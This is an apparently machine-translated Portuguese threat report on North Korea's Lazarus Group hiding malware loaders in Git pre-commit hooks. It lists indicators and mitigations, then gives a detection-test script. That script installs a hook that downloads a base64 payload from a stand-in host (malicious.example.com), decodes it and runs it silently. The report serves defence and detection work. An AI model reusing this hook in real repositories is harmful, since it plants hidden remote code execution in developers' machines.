Grupo Lazarus Usa Ganhos do Git para Esconder Malware Entrevista Contagiosa da RPDC e a Campanha TaskJacker agora esconde seu carregador de segundo estágio dentro de ganchos Git que baixam os malwares InvisibleFerret e Beavertail

Resumo

O Grupo Lazarus da Coreia do Norte atualizou sua campanha Contagious Interview e TaskJacker ao incorporar um mecanismo de entrega de segunda fase dentro de um Git malicioso pré-compromisso and pós-checkout hooks. Esses hooks recuperam silenciosamente cargas úteis específicas da plataforma de uma URL hospedada na Vercel e executam-nas em sistemas macOS, Linux e Windows. Ao abusar de fluxos de trabalho de desenvolvedores confiáveis e ferramentas de repositório, os atacantes transformam tarefas rotineiras de codificação em um vetor de comprometimento da cadeia de suprimentos que pode levar ao roubo de credenciais e comprometimento de carteiras de criptomoedas. Principais indicadores incluem o malicioso .githooks/pre-commit script e infraestrutura hospedada em precommit.vercel.app.

Investigação

Pesquisadores da OpenSourceMalware identificaram um compacto .githooks/pre-commit script que detecta o sistema operacional da vítima e baixa a carga útil apropriada de precommit.vercel.app usando curl or wget. O mesmo hash do script apareceu em múltiplos repositórios do GitHub disfarçados como projetos de avaliação de codificação ligados a temas de criptomoeda e DeFi. A infraestrutura fornecia diferentes cargas úteis de shell ou batch dependendo do sistema operacional, controladas por um parâmetro de consulta baseado em flags. Os pesquisadores também compartilharam consultas de busca de código do GitHub que podem ser usadas para reproduzir a busca e localizar repositórios semelhantes.

Mitigação

As organizações devem revisar cuidadosamente os hooks de repositório Git, especialmente os arquivos em .githooks, .husky, e .vscode/tasks.json, antes de permitir sua execução. Os desenvolvedores devem clonar e testar repositórios não confiáveis apenas em ambientes isolados que não contenham chaves SSH, arquivos de carteiras ou perfis de navegador ativos. A execução automática de hooks Git deve ser desativada, onde possível, ou limitada a scripts aprovados. As equipes de segurança também devem monitorar o tráfego de saída para precommit.vercel.app e domínios semelhantes que podem suportar a entrega de cargas maliciosas.

Resposta

Os defensores devem bloquear a comunicação de rede com precommit.vercel.app e criar monitoramento de integridade de arquivos para .githooks/pre-commit arquivos inesperados. Alertas também devem ser acionados quando curl or wget é executado a partir de processos relacionados a hooks do Git. Quaisquer credenciais, tokens ou carteiras de criptomoeda potencialmente expostas devem ser investigadas e rotacionadas imediatamente. A caça a ameaças deve ser expandida usando os indicadores fornecidos para identificar repositórios afetados e quaisquer sistemas que interagiram com eles.

Execução de Simulação

Pré-requisito: O Check de Pré-Voo de Telemetria e Linha de Base deve ter sido concluído.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa & Comandos do Ataque:
  Um operador do Grupo Lazarus compromete a estação de trabalho de um desenvolvedor e injeta um hook pré-compromisso Git malicioso. O hook é colocado em um diretório “.githooks” oculto para evitar a descoberta casual. Quando qualquer git commit é executado, o hook contata silenciosamente um servidor C2, baixa uma carga útil codificada em base64, grava-a em /tmp/.payload, torna-a executável, e a executa, estabelecendo assim uma vantagem (T1620) e executando uma carga útil maliciosa incorporada (T1027.009).

• Script de Teste de Regressão:

  #!/bin/bash
  # -------------------------------------------------
  # Teste de hook pré-compromisso malicioso ao estilo Lazarus
  # -------------------------------------------------
  
  # 1. Criar diretório oculto .githooks
  mkdir -p "$HOME/.githooks"
  
  # 2. Escrever hook pré-compromisso malicioso
  cat > "$HOME/.githooks/pre-commit" <<'EOF'
  #!/bin/bash
  # Hook pré-compromisso malicioso – baixa e executa carga útil
  C2_URL="http://malicious.example.com/payload.b64"
  TMPFILE="/tmp/.payload"
  
  # Baixar carga útil base64
  curl -s -o "$TMPFILE.b64" "$C2_URL"
  # Decodificar e definir como executável
  base64 -d "$TMPFILE.b64" > "$TMPFILE"
  chmod +x "$TMPFILE"
  # Executar carga útil silenciosamente
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Tornar o hook executável
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Simular um commit git para disparar o hook
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Commit inicial" > /dev/null 2>&1
  
  echo "Hook pré-compromisso malicioso executado (se a detecção funcionar, deve aparecer um alerta)."

• Comandos de Limpeza:

  #!/bin/bash
  # Remover artefatos maliciosos
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Limpeza completa."